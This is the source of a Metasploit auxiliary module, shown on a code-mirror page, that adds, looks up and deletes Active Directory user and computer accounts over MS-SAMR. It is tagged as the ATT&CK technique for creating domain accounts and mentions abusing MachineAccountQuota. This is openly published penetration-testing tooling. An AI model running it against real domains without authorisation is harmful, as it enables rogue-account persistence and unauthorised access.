Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/dcerpc/samr_account.rb
33276 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'ruby_smb/dcerpc/client'
7
8
class MetasploitModule < Msf::Auxiliary
9
include Msf::Exploit::Remote::SMB::Client::Authenticated
10
include Msf::Exploit::Remote::DCERPC
11
include Msf::Auxiliary::Report
12
include Msf::Exploit::Remote::MsSamr::Account
13
include Msf::OptionalSession::SMB
14
include Msf::Exploit::Deprecated
15
16
moved_from 'auxiliary/admin/dcerpc/samr_computer'
17
18
def initialize(info = {})
19
super(
20
update_info(
21
info,
22
'Name' => 'SAMR Account Management',
23
'Description' => %q{
24
Add, lookup and delete user / machine accounts via MS-SAMR. By default
25
standard active directory users can add up to 10 new computers to the
26
domain (MachineAccountQuota). Administrative privileges however are required
27
to delete the created accounts, or to create/delete user accounts.
28
},
29
'License' => MSF_LICENSE,
30
'Author' => [
31
'JaGoTu', # @jagotu Original Impacket code
32
'Spencer McIntyre',
33
'smashery'
34
],
35
'References' => [
36
['URL', 'https://github.com/SecureAuthCorp/impacket/blob/master/examples/addcomputer.py'],
37
['ATT&CK', Mitre::Attack::Technique::T1136_002_DOMAIN_ACCOUNT]
38
],
39
'Notes' => {
40
'Reliability' => [],
41
'Stability' => [],
42
'SideEffects' => [ IOC_IN_LOGS ],
43
'AKA' => ['samr_computer', 'samr_user']
44
},
45
'Actions' => [
46
[ 'ADD_COMPUTER', { 'Description' => 'Add a computer account' } ],
47
[ 'ADD_USER', { 'Description' => 'Add a user account' } ],
48
[ 'DELETE_ACCOUNT', { 'Description' => 'Delete a computer or user account' } ],
49
[ 'LOOKUP_ACCOUNT', { 'Description' => 'Lookup a computer or user account' } ]
50
],
51
'DefaultAction' => 'ADD_COMPUTER'
52
)
53
)
54
55
register_options([
56
Opt::RPORT(445)
57
])
58
end
59
60
def run
61
send("action_#{action.name.downcase}")
62
rescue MsSamrConnectionError => e
63
fail_with(Failure::Unreachable, e.message)
64
rescue MsSamrAuthenticationError => e
65
fail_with(Failure::NoAccess, e.message)
66
rescue MsSamrNotFoundError => e
67
fail_with(Failure::NotFound, e.message)
68
rescue MsSamrBadConfigError => e
69
fail_with(Failure::BadConfig, e.message)
70
rescue MsSamrUnexpectedReplyError => e
71
fail_with(Failure::UnexpectedReply, e.message)
72
rescue MsSamrUnknownError => e
73
fail_with(Failure::Unknown, e.message)
74
rescue SmbIpcAuthenticationError => e
75
fail_with(Failure::Unknown, e.message)
76
end
77
78
def action_add_user
79
fail_with(Failure::BadConfig, 'This action requires ACCOUNT_NAME to be specified.') if datastore['ACCOUNT_NAME'].blank?
80
print_status('Adding user')
81
with_ipc_tree do |opts|
82
add_account(:user, opts)
83
end
84
end
85
86
def action_add_computer
87
print_status('Adding computer')
88
with_ipc_tree do |opts|
89
add_account(:computer, opts)
90
end
91
end
92
93
def action_delete_account
94
fail_with(Failure::BadConfig, 'This action requires ACCOUNT_NAME to be specified.') if datastore['ACCOUNT_NAME'].blank?
95
with_ipc_tree do |opts|
96
delete_account(opts)
97
end
98
end
99
100
def action_lookup_account
101
fail_with(Failure::BadConfig, 'This action requires ACCOUNT_NAME to be specified.') if datastore['ACCOUNT_NAME'].blank?
102
with_ipc_tree do |opts|
103
lookup_account(opts)
104
end
105
end
106
107
# @yieldparam options [Hash] If a SMB session is present, a hash with the IPC tree present. Empty hash otherwise.
108
# @return [void]
109
def with_ipc_tree
110
opts = {}
111
if session
112
print_status("Using existing session #{session.sid}")
113
self.simple = session.simple_client
114
opts[:tree] = simple.client.tree_connect("\\\\#{session.client.dispatcher.tcp_socket.peerhost}\\IPC$")
115
end
116
117
yield opts
118
ensure
119
opts[:tree].disconnect! if opts[:tree]
120
end
121
end
122
123